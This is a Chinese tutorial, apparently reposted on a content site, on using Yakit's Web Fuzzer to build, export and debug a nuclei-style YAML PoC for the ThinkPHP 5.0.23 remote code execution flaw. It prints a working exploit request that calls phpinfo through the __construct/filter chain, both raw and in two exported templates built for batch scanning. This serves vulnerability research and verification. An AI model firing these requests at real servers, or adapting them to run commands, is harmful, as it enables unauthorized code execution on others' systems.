PoC免寫攻略

在網絡安全領域,PoC(Proof of Concept)起著重要的作用,并且在安全研究、漏洞發現和漏洞利用等方面具有重要的地位。攻擊方視角下,常常需要圍繞 PoC 做的大量的工作。常常需要從手動測試開始編寫 PoC,再到實際調試 PoC的正確性,最后才能將編寫完畢的 PoC 投入批量使用,在此目前流程中各個階段之間并沒有很好的關聯性,相互之間不能 一鍵 完成,需要從業人員花費不少不必要的工作時間。Yakit 為了解決這個問題,在 Web Fuzzer 中帶來了新的功能——一鍵導出PoC yaml 以及 聯動的調試功能。打通 PoC 的工作流程,讓 PoC 可以真正地“免寫”。本文將以編寫一個 ThinkPHP 5.0.23版本的RCE漏洞的 PoC 為線索來介紹Yakit的 PoC 支持。

ThinkPHP是一款運用極廣的PHP開發框架。其5.0.23以前的版本中,獲取method的方法中沒有正確處理方法名,導致攻擊者可以調用Request類任意方法并構造利用鏈,從而導致遠程代碼執行漏洞。

Web Fuzzer 手動驗證

構造數據包

先來嘗試使用Web Fuzzer 手動觸發一個 ThinkPHP 的 RCE 漏洞。先在Web Fuzzer里構造一個可以觸發漏洞的數據包:

POST /index.php?s=captcha HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

上述是一個可以執行 phpinfo 的測試數據包,直接發送給目標可以觸發一個 phpinfo 響應。

1699257170_65489b52dc3ce55645bd5.png!small?1699257169513

驗證響應-匹配器

除了測試數據包外還需要有與測試數據對應的 預期響應,以驗證漏洞是否觸發。

對以此漏洞一個比較合理的判斷是:響應頁面同時有ThinkPHPPHP VersionPHP Extension三個關鍵字的時候是成功用ThinkPHP RCE執行了phpinfo函數,觸發了漏洞。

在 Yakit Web Fuzzer 中可以使用匹配器來便捷地匹配數據、檢查響應是否符合預期。匹配器位于 Web Fuzzer 的高級配置欄,

匹配器三種匹配模式:丟棄,保留,僅匹配

  1. 丟棄:丟棄模式會在符合匹配器時下丟棄返回包。
  2. 保留:保留模式會在符合匹配器時保留返回包,剩余的返回包則直接丟棄。
  3. 僅匹配:僅匹配模式會在符合匹配器時將對應的返回包染色,而不做其他操作。選中此模式一旁出現的色點既是染色使用的顏色

1699257180_65489b5c95df8853b043c.png!small?1699257179494

直接來使用匹配器來匹配上述測試數據包的預期數據:

點擊添加匹配器,在頁面右下角會彈出匹配器詳細設置頁面

1699257187_65489b633167ab4d42d9c.png!small?1699257185840

詳細設置頁面十分簡單明了,支持五種匹配模式、四種匹配范圍以及兩種匹配關系。上述數據包的匹配規則可以表達為:AND關系全部響應中匹配三個關鍵字,在匹配器中即可如下設置。

1699257192_65489b68cc9f74e2a7fcb.png!small?1699257191494

點擊應用,匹配器即可生效。重新發送數據包,會提示數據包成功匹配:

1699257199_65489b6f17c89dace576d.png!small?1699257198278

至此,已經完成了手動測試一個數據包以及匹配預期響應的流程,在 Web Fuzzer 手動發包已經成功完成了一次漏洞驗證,有了構造PoC的基礎。

Web Fuzzer 自動導出 PoC

PoC的作用當然不能限制在單次的手動測試中,它的作用是通過提煉一個手動測試的流程,來自動化驗證某個漏洞,上一節里在Web Fuzzer完成了手動測試ThinkPHP RCE漏洞的部分,接下來就需要將這次手動測試提煉成一個可以重復使用的 PoC 文件。

在 Web Fuzzer右上角處,有兩個按鈕,分別對應直接導出 PoC轉到調試 PoC

1699257204_65489b740fac0ee16f508.png!small?1699257202683

PoC****結構

這里導出和調試的PoC使用的是 Yakit 兼容的 nuclei PoC 模板。點擊導出 PoC ,上面的手動測試的流程被保存為如下的 PoC Yaml。

支持 Raw 和 Path 兩種模式,可自由選擇

``

// Raw 模式
id: WebFuzzer-Template-UuMDryDUinfo:name: WebFuzzer Template UuMDryDUauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: ""verified: trueyakit-info:sign: 4a59ba760cdf626429aa3c22ab3dcfa0http:
- raw:- |-@timeout: 30sPOST /index.php?s=captcha HTTP/1.1Host: {{Hostname}}Content-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and// Path 模式
id: WebFuzzer-Template-oZqWchulinfo:name: WebFuzzer Template oZqWchulauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: ""verified: trueyakit-info:sign: 69a05e9c6fc674153565cbbe1e868464http:
- method: POSTpath:- '{{RootUrl}}index.php'headers:Content-Type: application/x-www-form-urlencodedHost: 172.29.228.154:8080body: _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and

yakit sign

此 Yaml PoC 有一個特殊的字段yakit-info:sign。顧名思義,這是一個簽名,一個用于保護 PoC 數據正確性、完整性的簽名。對 PoC 內的重要數據進行簽名,包括 raw 、method、headers…

在 Yakit 插件生態中,上述的 PoC 是可以作為一種插件被用戶方便地使用的,但是作為一個純文本的數據,很難驗證本身是否被錯誤地改動。而這個簽名字段的作用即是驗證此 PoC 是否被意外改動。

在批量執行的插件的情況下,也可以用通過對簽名的驗證來篩選出可以信賴的插件,很大程度上避免了本地插件被意外修改導致驗證失敗的問題。

PoC****調試

PoC 顯然是不能不經調試檢驗直接使用的,在上一步中提煉除了 Yaml PoC 還需要把 PoC進行進一步的調試,來測試 PoC的完善性。在 Web Fuzzer 頁面中點擊右上角的生成 Yaml 模板按鈕即可將當前 Web Fuzzer 的配置生 Yaml PoC 并且調整到插件調試頁面,方便師傅們進一步調試。

1699257221_65489b85629d694878088.png!small?1699257219975

調試頁面可以對 Yaml PoC 插件進行測試,通過測試不同的目標來驗證檢查其完善性。

1699257228_65489b8c4474f09fa2188.png!small?1699257226779

一旁的配置調試請求欄中可以設置不同的調試目標,支持域名、IP、URL。配置調試目標完成之后,點擊執行即可看到本次的調試流量、插件信息以及控制臺輸出

1699257234_65489b922b398a331cd9f.png!small?1699257232935

經過詳細地調試之后,在調試插件的右上角有存為插件的按鈕,點擊即可將當前調試的 Yaml PoC 保存為插件,讓此 PoC 正式成為一個可以批量使用的插件。

1699257238_65489b963766806b77975.png!small?1699257236954

總結

至此通過 Yakit 的導出與調試 Yaml PoC 功能,我們很簡便的完成了一個批量使用的 PoC 編寫,期間除了最開始的構造數據包部分需要人工手動測試,其余階段 Yakit 都自動化完成了。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/715352.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/715352.shtml
英文地址,請注明出處:http://en.pswp.cn/news/715352.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

vue項目電商

這個項目功能有首頁,分類,商品詳情,購物車,用戶注冊、登錄等等的實現,并且可以在手機上進行展示。 git倉庫地址:https://gitee.com/BisShen/project.git

應用層http協議包解析與https加密策略解析

文章目錄 一.應用層協議--http協議基礎認知二.https協議加密策略解析加密策略1--通信雙方只使用對稱加密加密策略2--通信雙方使用單方非對稱加密加密策略3--通信雙方都使用非對稱加密加密策略4--非對稱加密與對稱加密配合使用中間人攻擊數據簽名與CA證書HTTPS數據安全認證的本質…

二維碼門樓牌管理系統技術服務的分類與應用

文章目錄 前言一、二維碼門樓牌管理系統的分類二、二維碼門樓牌管理系統的應用優勢三、結論 前言 隨著城市管理的精細化和智能化,二維碼門樓牌管理系統成為了現代城市管理的重要工具。該系統將傳統的門牌、樓牌、戶牌與二維碼技術相結合,實現了信息的快…

如何優化一個運行緩慢的SQL查詢?有哪些常見的優化技巧?

如何優化一個運行緩慢的SQL查詢? 當面對一個運行緩慢的SQL查詢時,優化是提升數據庫性能的關鍵步驟。優化查詢不僅可以減少查詢執行時間,還可以降低系統資源消耗,提高整體的系統吞吐量。以下將詳細探討如何優化一個運行緩慢的SQL查…

MySQL:常用的SQL語句

提醒:設定下面的語句是在數據庫名為 db_book執行的。 一、創建表 1. 創建t_booktype表 USE db_book; CREATE TABLE t_booktype(id INT AUTO_INCREMENT, bookTypeName VARCHAR(20),bookTypeDesc varchar(200),PRIMARY KEY (id) );2. 創建t_book表 USE db_book; C…

[筆記] wsl 禁用配置 win系統環境變量+代理

wsl 配置禁用 win系統環境變量 進入 wsl 的 /etc/wsl.conf 目錄,增加以下配置: [interop] enabledfalse appendWindowsPathfalse然后退出wsl,并且執行關閉正在運行的 wsl,執行命令 wsl --shutdown 最后重新進入wsl 即可。 參考…

C語言-----動態內存管理(1)

1.引入 我們之前已經學習了幾種開辟內存空間的方式: (1)int a10;開辟4個字節大小的空間 (2)int arr[10]{0}定義數組開辟了一串連續的空間 2.malloc和free (1)malloc開辟內存空間可能會失敗,因此需要檢查…

HTML5+CSS3+JS小實例:文字陰影還能這么玩

實例:文字陰影還能這么玩 技術棧:HTML+CSS+JS 效果: 源碼: 【HTML】 <!DOCTYPE html> <html lang="zh-CN"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"…

Android java基礎_泛型

一.java泛型是什么 Java 泛型&#xff08;Generic&#xff09;是 Java 5 中引入的一種特性&#xff0c;它允許類、接口和方法在定義時使用一個或多個類型參數&#xff0c;這些類型參數在調用時會被實際類型替換&#xff0c;從而增強了代碼的重用性和類型安全性。通過使用泛型&…

鴻蒙Harmony應用開發—ArkTS聲明式開發(通用屬性:形狀裁剪)

用于對組件進行裁剪、遮罩處理。 說明&#xff1a; 從API Version 7開始支持。后續版本如有新增內容&#xff0c;則采用上角標單獨標記該內容的起始版本。 clip clip(value: boolean | CircleAttribute | EllipseAttribute | PathAttribute | RectAttribute) 按指定的形狀對當…

Spring基礎——XML配置Bean的實例化

目錄 實例化Bean的方式使用構造函數實例化Bean使用靜態工廠的方式實例化Bean使用實例化工廠方式實例化Bean通過實現FactoryBean自定義實例化Bean 實例化Bean的方式 bean的創建本質上就是創建一個或多個具有外部配置屬性的對象&#xff0c;容器在啟動的時候會查看命名Bean的配置…

中美加密監管突傳“巨響”!比特幣突破7萬信號出現!馬斯克一句話掀起大行情!

比特幣本周觸及64000美元高價&#xff0c;2月交易所儲備減少近45000多枚比特幣&#xff0c;市場將其解讀為看漲70000美元的關鍵信號。中美加密監管傳利好&#xff0c;香港加密牌照申請期限結束&#xff0c;已有24家機構入列待批&#xff0c;美國考慮允許比特幣ETF及相關信托期權…

uview2中上傳文件和若依前后端分離配合的代碼

uview2中的上傳文件需要配合著自己后端的上傳的代碼 uview2 代碼&#xff1a; uploadFilePromise(url) {return new Promise((resolve, reject) > {// 后續自己封裝let a uni.uploadFile({//自己的請求路徑url: that.$baseURL /uploadAvater, //上傳的文件filePath: tha…

Java | vscode如何使用命令行運行Java程序

1.在vscode中新建一個終端 2.在終端中輸入命令 javac <源文件>此命令執行后&#xff0c;在文件夾中會生成一個與原java程序同名的.class文件。然后輸入如下命令&#xff1a; java <源文件名稱>這樣java程序就運行成功了。&#x1f607;

LeetCode:2368. 受限條件下可到達節點的數目(dfs Java)

目錄 2368. 受限條件下可到達節點的數目 題目描述&#xff1a; 實現代碼與解析&#xff1a; DFS 原理思路&#xff1a; 2368. 受限條件下可到達節點的數目 題目描述&#xff1a; 現有一棵由 n 個節點組成的無向樹&#xff0c;節點編號從 0 到 n - 1 &#xff0c;共有 n - …

02-Vue 計算屬性與監聽器與VUE-cli使用

1.計算屬性 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content"widthdevice-width,…

Android java基礎_反射

一.反射的基本概念 反射&#xff08;Reflection&#xff09;&#xff0c;Java 中的反射機制是指&#xff0c;Java 程序在運行期間可以獲取到一個對象的全部信息。 反射機制一般用來解決Java 程序運行期間&#xff0c;對某個實例對象一無所知的情況下&#xff0c;如何調用該對…

單源最短路的建圖方式

1129. 熱浪 - AcWing題庫 這道題可以有三種方法來做&#xff0c;樸素版的dijkstra、堆優化版的dijkstra和spfa算法 &#xff08;1&#xff09;spfa算法 這里的隊列用循環隊列&#xff0c;而不是像模板那樣用普通隊列是因為它的隊列長度不確定 import java.util.*;public class…

mysql 大數據量分批添加索引

先在測試環境測試&#xff0c;沒問題再上生產環境&#xff0c;避免生產環境數據庫負載過多而崩潰 創建存儲過程 DELIMITER //CREATE PROCEDURE batch_add_index_to_email() BEGINDECLARE done INT DEFAULT FALSE;DECLARE start_id INT DEFAULT 0;DECLARE end_id INT;DECLARE …

貝葉斯優化CNN分類(matlab代碼)

貝葉斯優化CNN分類matlab代碼 數據為Excel分類數據集數據。 數據集劃分為訓練集、驗證集、測試集&#xff0c;比例為8:1:1 數據處理: 在數據加載后&#xff0c;對數據進行了劃分&#xff0c;包括訓練集、驗證集和測試集&#xff0c;這有助于評估模型的泛化能力。 數據標準化…